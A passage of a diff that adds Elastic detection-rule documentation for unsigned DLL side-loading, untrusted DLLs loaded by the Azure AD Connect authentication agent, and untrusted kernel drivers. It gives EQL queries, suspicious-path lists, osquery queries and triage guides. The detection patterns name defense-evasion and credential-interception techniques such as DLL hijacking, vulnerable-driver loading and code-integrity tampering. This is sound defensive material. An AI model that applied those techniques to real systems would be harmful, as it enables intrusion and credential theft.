the DLL is unsigned or has an untrusted signature, which could indicate tampering or a malicious origin. +- Cross-reference the DLL's hash (dll.hash.sha256) against known malware databases or threat intelligence sources to identify if it is associated with known threats. +- Examine the system for other indicators of compromise, such as unusual network activity or additional suspicious files, to assess the scope of potential malicious activity. +- Consider isolating the affected system to prevent further potential compromise while conducting a deeper forensic analysis. + + +*False positive analysis* + + +- System maintenance or updates may trigger the rule by loading legitimate unsigned DLLs. Users can create exceptions for known update processes or maintenance activities to prevent unnecessary alerts. +- Custom or in-house applications might load unsigned DLLs from unusual paths. Verify the legitimacy of these applications and consider adding their specific paths to the exclusion list if they are deemed safe. +- Security or monitoring tools might use unsigned DLLs for legitimate purposes. Identify these tools and exclude their associated DLLs by hash or path to reduce false positives. +- Temporary files created by legitimate software in monitored directories can be mistaken for threats. Regularly review and update the exclusion list to include hashes of these known benign files. +- Development environments often generate unsigned DLLs during testing phases. Ensure that development paths are excluded from monitoring to avoid false alerts during software development cycles. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the svchost.exe process that loaded the unsigned DLL to stop any ongoing malicious actions. +- Remove the identified unsigned DLL from the system to eliminate the immediate threat. +- Conduct a full antivirus and anti-malware scan on the affected system to detect and remove any additional threats. +- Review and restore any modified system configurations or settings to their original state to ensure system integrity. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for svchost.exe and DLL loading activities to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +library where host.os.type == "windows" and + + process.executable : + ("?:\\Windows\\System32\\svchost.exe", "?:\\Windows\\Syswow64\\svchost.exe") and + + dll.code_signature.trusted != true and + + not dll.code_signature.status : ("trusted", "errorExpired", "errorCode_endpoint*") and + + dll.hash.sha256 != null and + + ( + /* DLL created within 5 minutes of the library load event - compatible with Elastic Endpoint 8.4+ */ + dll.Ext.relative_file_creation_time <= 300 or + + /* unusual paths */ + dll.path :("?:\\ProgramData\\*", + "?:\\Users\\*", + "?:\\PerfLogs\\*", + "?:\\Windows\\Tasks\\*", + "?:\\Intel\\*", + "?:\\AMD\\Temp\\*", + "?:\\Windows\\AppReadiness\\*", + "?:\\Windows\\ServiceState\\*", + "?:\\Windows\\security\\*", + "?:\\Windows\\IdentityCRL\\*", + "?:\\Windows\\Branding\\*", + "?:\\Windows\\csc\\*", + "?:\\Windows\\DigitalLocker\\*", + "?:\\Windows\\en-US\\*", + "?:\\Windows\\wlansvc\\*", + "?:\\Windows\\Prefetch\\*", + "?:\\Windows\\Fonts\\*", + "?:\\Windows\\diagnostics\\*", + "?:\\Windows\\TAPI\\*", + "?:\\Windows\\INF\\*", + "?:\\Windows\\System32\\Speech\\*", + "?:\\windows\\tracing\\*", + "?:\\windows\\IME\\*", + "?:\\Windows\\Performance\\*", + "?:\\windows\\intel\\*", + "?:\\windows\\ms\\*", + "?:\\Windows\\dot3svc\\*", + "?:\\Windows\\panther\\*", + "?:\\Windows\\RemotePackages\\*", + "?:\\Windows\\OCR\\*", + "?:\\Windows\\appcompat\\*", + "?:\\Windows\\apppatch\\*", + "?:\\Windows\\addins\\*", + "?:\\Windows\\Setup\\*", + "?:\\Windows\\Help\\*", + "?:\\Windows\\SKB\\*", + "?:\\Windows\\Vss\\*", + "?:\\Windows\\servicing\\*", + "?:\\Windows\\CbsTemp\\*", + "?:\\Windows\\Logs\\*", + "?:\\Windows\\WaaS\\*", + "?:\\Windows\\twain_32\\*", + "?:\\Windows\\ShellExperiences\\*", + "?:\\Windows\\ShellComponents\\*", + "?:\\Windows\\PLA\\*", + "?:\\Windows\\Migration\\*", + "?:\\Windows\\debug\\*", + "?:\\Windows\\Cursors\\*", + "?:\\Windows\\Containers\\*", + "?:\\Windows\\Boot\\*", + "?:\\Windows\\bcastdvr\\*", + "?:\\Windows\\TextInput\\*", + "?:\\Windows\\security\\*", + "?:\\Windows\\schemas\\*", + "?:\\Windows\\SchCache\\*", + "?:\\Windows\\Resources\\*", + "?:\\Windows\\rescache\\*", + "?:\\Windows\\Provisioning\\*", + "?:\\Windows\\PrintDialog\\*", + "?:\\Windows\\PolicyDefinitions\\*", + "?:\\Windows\\media\\*", + "?:\\Windows\\Globalization\\*", + "?:\\Windows\\L2Schemas\\*", + "?:\\Windows\\LiveKernelReports\\*", + "?:\\Windows\\ModemLogs\\*", + "?:\\Windows\\ImmersiveControlPanel\\*", + "?:\\$Recycle.Bin\\*") + ) and + + not dll.hash.sha256 : + ("3ed33e71641645367442e65dca6dab0d326b22b48ef9a4c2a2488e67383aa9a6", + "b4db053f6032964df1b254ac44cb995ffaeb4f3ade09597670aba4f172cf65e4", + "214c75f678bc596bbe667a3b520aaaf09a0e50c364a28ac738a02f867a085eba", + "23aa95b637a1bf6188b386c21c4e87967ede80242327c55447a5bb70d9439244", + "5050b025909e81ae5481db37beb807a80c52fc6dd30c8aa47c9f7841e2a31be7") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services Registry Permissions Weakness +** ID: T1574.011 +** Reference URL: https://attack.mitre.org/techniques/T1574/011/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unsigned-dll-side-loading-from-a-suspicious-folder.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unsigned-dll-side-loading-from-a-suspicious-folder.asciidoc new file mode 100644 index 0000000000..3d219c418f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unsigned-dll-side-loading-from-a-suspicious-folder.asciidoc @@ -0,0 +1,223 @@ +[[prebuilt-rule-8-19-34-unsigned-dll-side-loading-from-a-suspicious-folder]] +=== Unsigned DLL Side-Loading from a Suspicious Folder + +Identifies a Windows trusted program running from locations often abused by adversaries to masquerade as a trusted program and loading a recently dropped DLL. This behavior may indicate an attempt to evade defenses via side-loading a malicious DLL within the memory space of a signed processes. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: DLL Side-Load +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unsigned DLL Side-Loading from a Suspicious Folder* + + +DLL side-loading exploits the trust of signed executables to load malicious DLLs, often from suspicious directories. Adversaries use this to bypass security measures by placing unsigned DLLs in locations mimicking legitimate paths. The detection rule identifies this by checking for trusted programs loading recently modified, unsigned DLLs from atypical directories, signaling potential evasion tactics. + + +*Possible investigation steps* + + +- Review the process code signature to confirm the legitimacy of the trusted program that loaded the DLL. Check if the process is expected to run from the identified directory. +- Examine the DLL's path and creation or modification time to determine if it aligns with typical user or system activity. Investigate why the DLL was recently modified or created. +- Analyze the DLL's code signature status to understand why it is unsigned or has an error status. This can help identify if the DLL is potentially malicious. +- Investigate the parent process and any associated child processes to understand the context of the DLL loading event. This can provide insights into how the DLL was introduced. +- Check for any recent changes or anomalies in the system or user activity logs around the time the DLL was created or modified to identify potential indicators of compromise. +- Correlate the alert with other security events or alerts in the environment to determine if this is part of a broader attack or isolated incident. + + +*False positive analysis* + + +- Legitimate software updates or installations may temporarily load unsigned DLLs from atypical directories. Users can create exceptions for known update processes by verifying the source and ensuring the process is part of a legitimate update. +- Custom or in-house applications might load unsigned DLLs from non-standard directories. Users should verify the application's behavior and, if deemed safe, exclude these specific paths or processes from the rule. +- Development environments often involve testing unsigned DLLs in various directories. Developers can exclude these environments by specifying the directories or processes involved in the development workflow. +- Some third-party security or system management tools may use unsigned DLLs for legitimate purposes. Users should confirm the tool's legitimacy and add exceptions for these tools to prevent false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the process associated with the unsigned DLL to stop any ongoing malicious operations. +- Quarantine the suspicious DLL file and any related files for further analysis to understand the scope and nature of the threat. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and restore any altered system configurations or settings to their original state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has impacted other systems. +- Implement additional monitoring and logging on the affected system and network to detect any recurrence or similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +library where host.os.type == "windows" and + + process.code_signature.trusted == true and + + (dll.Ext.relative_file_creation_time <= 500 or dll.Ext.relative_file_name_modify_time <= 500) and + + not dll.code_signature.status : ("trusted", "errorExpired", "errorCode_endpoint*", "errorChaining") and + + /* Suspicious Paths */ + dll.path : ("?:\\PerfLogs\\*.dll", + "?:\\Users\\*\\Pictures\\*.dll", + "?:\\Users\\*\\Music\\*.dll", + "?:\\Users\\Public\\*.dll", + "?:\\Users\\*\\Documents\\*.dll", + "?:\\Users\\*\\Downloads\\*.dll", + "?:\\Windows\\Tasks\\*.dll", + "?:\\Windows\\System32\\Tasks\\*.dll", + "?:\\Intel\\*.dll", + "?:\\AMD\\Temp\\*.dll", + "?:\\Windows\\AppReadiness\\*.dll", + "?:\\Windows\\ServiceState\\*.dll", + "?:\\Windows\\security\\*.dll", + "?:\\Windows\\System\\*.dll", + "?:\\Windows\\IdentityCRL\\*.dll", + "?:\\Windows\\Branding\\*.dll", + "?:\\Windows\\csc\\*.dll", + "?:\\Windows\\DigitalLocker\\*.dll", + "?:\\Windows\\en-US\\*.dll", + "?:\\Windows\\wlansvc\\*.dll", + "?:\\Windows\\Prefetch\\*.dll", + "?:\\Windows\\Fonts\\*.dll", + "?:\\Windows\\diagnostics\\*.dll", + "?:\\Windows\\TAPI\\*.dll", + "?:\\Windows\\INF\\*.dll", + "?:\\windows\\tracing\\*.dll", + "?:\\windows\\IME\\*.dll", + "?:\\Windows\\Performance\\*.dll", + "?:\\windows\\intel\\*.dll", + "?:\\windows\\ms\\*.dll", + "?:\\Windows\\dot3svc\\*.dll", + "?:\\Windows\\ServiceProfiles\\*.dll", + "?:\\Windows\\panther\\*.dll", + "?:\\Windows\\RemotePackages\\*.dll", + "?:\\Windows\\OCR\\*.dll", + "?:\\Windows\\appcompat\\*.dll", + "?:\\Windows\\apppatch\\*.dll", + "?:\\Windows\\addins\\*.dll", + "?:\\Windows\\Setup\\*.dll", + "?:\\Windows\\Help\\*.dll", + "?:\\Windows\\SKB\\*.dll", + "?:\\Windows\\Vss\\*.dll", + "?:\\Windows\\Web\\*.dll", + "?:\\Windows\\servicing\\*.dll", + "?:\\Windows\\CbsTemp\\*.dll", + "?:\\Windows\\Logs\\*.dll", + "?:\\Windows\\WaaS\\*.dll", + "?:\\Windows\\twain_32\\*.dll", + "?:\\Windows\\ShellExperiences\\*.dll", + "?:\\Windows\\ShellComponents\\*.dll", + "?:\\Windows\\PLA\\*.dll", + "?:\\Windows\\Migration\\*.dll", + "?:\\Windows\\debug\\*.dll", + "?:\\Windows\\Cursors\\*.dll", + "?:\\Windows\\Containers\\*.dll", + "?:\\Windows\\Boot\\*.dll", + "?:\\Windows\\bcastdvr\\*.dll", + "?:\\Windows\\TextInput\\*.dll", + "?:\\Windows\\schemas\\*.dll", + "?:\\Windows\\SchCache\\*.dll", + "?:\\Windows\\Resources\\*.dll", + "?:\\Windows\\rescache\\*.dll", + "?:\\Windows\\Provisioning\\*.dll", + "?:\\Windows\\PrintDialog\\*.dll", + "?:\\Windows\\PolicyDefinitions\\*.dll", + "?:\\Windows\\media\\*.dll", + "?:\\Windows\\Globalization\\*.dll", + "?:\\Windows\\L2Schemas\\*.dll", + "?:\\Windows\\LiveKernelReports\\*.dll", + "?:\\Windows\\ModemLogs\\*.dll", + "?:\\Windows\\ImmersiveControlPanel\\*.dll", + "?:\\$Recycle.Bin\\*.dll") and + + /* DLL loaded from the process.executable current directory */ + (endswith~(substring(dll.path, 0, length(dll.path) - (length(dll.name) + 1)), substring(process.executable, 0, length(process.executable) - (length(process.name) + 1))) or dll.name : "chrome_elf.dll") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-untrusted-dll-loaded-by-azure-ad-connect-authentication-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-untrusted-dll-loaded-by-azure-ad-connect-authentication-agent.asciidoc new file mode 100644 index 0000000000..f098ff6e02 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-untrusted-dll-loaded-by-azure-ad-connect-authentication-agent.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-untrusted-dll-loaded-by-azure-ad-connect-authentication-agent]] +=== Untrusted DLL Loaded by Azure AD Connect Authentication Agent + +Identifies the load of an untrusted DLL by the Azure AD Connect Authentication Agent, which may indicate an attempt to persist or intercept credentials passing through the Pass-through Authentication service. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.xpnsec.com/azuread-connect-for-redteam/ +* https://medium.com/@breakingmhet/detect-azure-pass-through-authentication-abuse-azure-hybrid-environments-ed4274784252 +* https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/tshoot-connect-pass-through-authentication + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 108 + +*Rule authors*: + +* Elastic +* Matteo Potito Giorgio + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Untrusted DLL Loaded by Azure AD Connect Authentication Agent* + + + +*Possible investigation steps* + + +- Is the loader the expected Azure AD Connect PTA service on the expected host? + - Focus: `process.name`, `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `host.id`. + - Implication: escalate if the loader is not the standard Microsoft PTA service binary or its signer/path differs from the recognized sync-host installation; lower suspicion only when the loader is the expected service on a recognized Entra Connect host. Identity does not clear the DLL load. + +- What module loaded, and does its identity and path fit a recognized component? + - Focus: `dll.path`, `dll.hash.sha256`, `dll.code_signature.subject_name`, `dll.code_signature.trusted`, and `dll.pe.original_file_name`; compare the module path with the service path from step 1 to assess side-loading from temp, download, user-writable, UNC, or paths outside the expected service directory. + - Implication: escalate when the module is untrusted, renamed, newly signed by an unexpected publisher, or outside the service's expected directory tree; lower suspicion only when hash, original name, signer status, and path fit a recognized agent component or security tool loaded by this service. + +- Was the module recently dropped, renamed, or placed by a different process? + - Focus: `dll.Ext.relative_file_creation_time`, `dll.Ext.relative_file_name_modify_time`, and file events where `file.path` equals the alert `dll.path` on `host.id`. !{investigate{"description":"","label":"File events for the loaded module","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{dll.path}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: if recency fields or file events are absent, treat provenance as unresolved rather than benign; expand the time range to the creation or rename time when the recency fields point outside the default pivot. + - Implication: escalate when a different process recently wrote, renamed, or timestomped the DLL; lower suspicion when provenance shows a recognized updater or tooling writer that explains this maintenance event on the sync host. + +- Does the service's startup and lineage context fit normal Azure AD Connect operations? + - Focus: process start event for `process.entity_id`: `process.parent.executable`, `process.parent.command_line`, and `process.command_line`. !{investigate{"description":"","label":"Process start for the authentication service","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate if the service was started, restarted, or manipulated by an unusual parent, script, or interactive admin tool; lower suspicion when lineage matches normal service-control or agent-update activity. + +- Was the service handling sign-ins around the load, and which identities may have been exposed? + - Focus: if Windows Security authentication telemetry is collected, recover the service session from `process.Ext.authentication_id`, then query events on `host.id` where `winlog.event_data.TargetLogonId` matches it. + - Hint: this exposure pivot depends on an additional data source that may not be collected on every PTA host; read `winlog.event_data.TargetUserName`, `source.ip`, `event.outcome`, and `winlog.event_data.AuthenticationPackageName`. Missing authentication telemetry is unresolved, not benign. + - Implication: escalate credential exposure when successful sign-ins or repeated attempts overlap the load because a malicious module could access PTA credentials handled by the service; bound exposure as lower only when authentication records show the service was idle and the module, provenance, and lineage evidence also fit benign activity. + +- If earlier findings remain suspicious, do additional module loads or related alerts show broader service or host compromise? + - Focus: related alerts for the same service `process.entity_id`. !{investigate{"description":"","label":"Alerts associated with the same service process instance","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review related alerts for `host.id` only if local evidence remains suspicious; test one adjacent variant: signed-but-new DLLs in the same PTA service tree. !{investigate{"description":"","label":"Alerts associated with the Azure AD Connect host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the same service process or host has service-tampering, credential-access, persistence, or unusual module-load alerts; keep scope local only when local evidence is benign and related-alert review is clean; preserve and escalate if related-alert coverage is unavailable and the module remains suspicious. + +- Escalate when the PTA service loads an unrecognized module, provenance is suspicious, lineage is abnormal, or sign-ins could have been exposed; close only when loader, module, path, writer, and host context all fit a repeatable maintenance pattern on the sync host; preserve and escalate if mixed or incomplete. + + +*False positive analysis* + + +- Azure AD Connect upgrades, agent reinstallation, or a recognized endpoint-security component can legitimately load modules into the service. Confirm only when `dll.hash.sha256`, `dll.code_signature.subject_name`, `dll.path`, `process.parent.executable`, writer provenance, and `host.id` align with the same maintenance or tooling workflow, and no adjacent service-tampering alerts appear. If this is a first-seen pattern and records are unavailable, keep it unconfirmed rather than closing on a partial match. +- Build exceptions only after the benign workflow is fully confirmed, using `host.id`, exact `dll.path`, stable `dll.hash.sha256`, and the recognized `process.parent.executable` or writer process. Avoid exceptions on `process.name`, `user.id`, or all untrusted modules alone. + + +*Response and remediation* + + +- If confirmed benign, reverse containment and document `host.id`, `process.entity_id`, `dll.path`, `dll.hash.sha256`, and the recognized maintenance or tooling context. Create an exception only if that same pattern recurs across prior alerts. +- If suspicious but unconfirmed, preserve the alert export, service process identity, loaded DLL sample and hash, writer evidence, and surrounding Windows Security records. Apply reversible containment first, such as removing the host from PTA rotation or restricting administrative access, and escalate to host isolation only if likely credential exposure or broader host tampering is confirmed and the outage impact is acceptable. Do not delete the DLL or stop the service before collecting evidence. +- If confirmed malicious, use endpoint response to isolate the host if it is available; otherwise escalate with `host.id`, `process.entity_id`, module path and hash, writer process, and the potentially exposed identity set to the team that can remove the server from service. Before stopping the service or deleting files, collect the DLL, any feasible memory capture, and related `dll.path` artifacts. Review other PTA or Azure AD Connect hosts and identities that authenticated around the load before eradicating the unauthorized module and persistence artifacts, then rotate or reset confirmed or likely exposed Azure AD Connect, PTA, or user credentials and revalidate the service configuration before returning the host to rotation. +- Post-incident hardening: restrict write access to the Azure AD Connect Authentication Agent directories, review administrative access to the PTA host, retain image-load, file, process, and authentication telemetry, and record which telemetry sources limited the investigation. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] + + +==== Rule query + + +[source, js] +---------------------------------- +library where host.os.type == "windows" and process.name : "AzureADConnectAuthenticationAgentService.exe" and + +not dll.code_signature.trusted == true and +not dll.path : ( + "?:\\Windows\\assembly\\NativeImages*", + "?:\\Windows\\Microsoft.NET\\*", + "?:\\Windows\\WinSxS\\*", + "?:\\Windows\\System32\\DriverStore\\FileRepository\\*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-untrusted-driver-loaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-untrusted-driver-loaded.asciidoc new file mode 100644 index 0000000000..914bebea0c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-untrusted-driver-loaded.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-untrusted-driver-loaded]] +=== Untrusted Driver Loaded + +Identifies an untrusted driver loaded by the Windows kernel. Adversaries may modify code signing policies to enable execution of unsigned or self-signed kernel code. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/hfiref0x/TDL +* https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerable Driver +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Untrusted Driver Loaded* + + + +*Possible investigation steps* + + +- What exact kernel driver loaded, and what trust failure made it alert? + - Focus: `process.pid`, `dll.path`, `dll.code_signature.exists`, `dll.code_signature.trusted`, and `dll.code_signature.status`. + - Implication: escalate when System loaded an unsigned or untrusted driver from a non-vendor, user-writable, temp, or renamed path; lower concern only when the trust failure fits a controlled driver-development or hardware-validation host class. + +- Does the driver identity map to a known vulnerable driver, BYOVD chain, or offensive loader? + - Why: TDL-style and BYOVD activity may be easier to recognize by stable hash, original PE name, or signer than current file name. + - Focus: `dll.hash.sha256`, `dll.pe.original_file_name`, `dll.code_signature.subject_name`, and `dll.code_signature.thumbprint_sha256`. + - Implication: escalate when hash, original name, or signer maps to a vulnerable-driver blocklist, signature-bypass loader, or malicious kernel tooling; lower concern only when the same artifact is tied to a controlled lab or validation cohort. + +- Does recency or rename timing show the driver was staged for this load? + - Focus: `dll.Ext.relative_file_creation_time`, `dll.Ext.relative_file_name_modify_time`, and `dll.path`; if file-event telemetry is available, use the same `host.id` and path to identify who wrote or renamed it. !{investigate{"description":"","label":"File events for the loaded driver path","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{dll.path}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the driver appeared just before load, was recently renamed, or was written by an unrelated staging process. Missing file-event telemetry leaves provenance unresolved, not benign. + +- What resident service or device identity is tied to the loaded image? + - Focus: compare `dll.path`, `dll.hash.sha256`, and `dll.code_signature.subject_name` with current Osquery driver inventory and service output. + - Hint: For non-Microsoft drivers by `image`, `service`, `signed`, `subject_name`, and `VtLink`; use it as current-state context, and keep the alert as the historical load record if no matching image exists. + - !{osquery{"label":"Osquery - Retrieve All Non-Microsoft Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE NOT (provider == \"Microsoft\" AND signed == \"1\")\n"}} + - Hint: For unsigned current drivers when the alert shows missing or untrusted signature metadata; current signed or service values do not prove what existed at `@timestamp`. + - !{osquery{"label":"Osquery - Retrieve All Unsigned Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE signed == \"0\"\n"}} + - Implication: escalate when current inventory lacks a coherent image or service entry, the service is unexpected for the host, or other unsigned drivers do not fit the host role. Treat osquery as corroboration; do not delay escalation when alert-local identity, trust, or recency evidence is decisive. + +- Did signing or code-integrity control activity make this load possible? + - Why: 64-bit Windows normally enforces kernel-mode driver signing, while test-signing, DSE tampering, or vulnerable-driver loaders can open a path for untrusted kernel code. + - Focus: same-host process events around the load using `host.id`, `process.name`, `process.executable`, and `process.command_line` for bcdedit test-signing/nointegritychecks changes or known vulnerable-driver loader activity. !{investigate{"description":"","label":"Process events on the driver host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when surrounding process evidence shows test-signing changes, code-integrity bypass tooling, or vulnerable-driver loader execution; absent 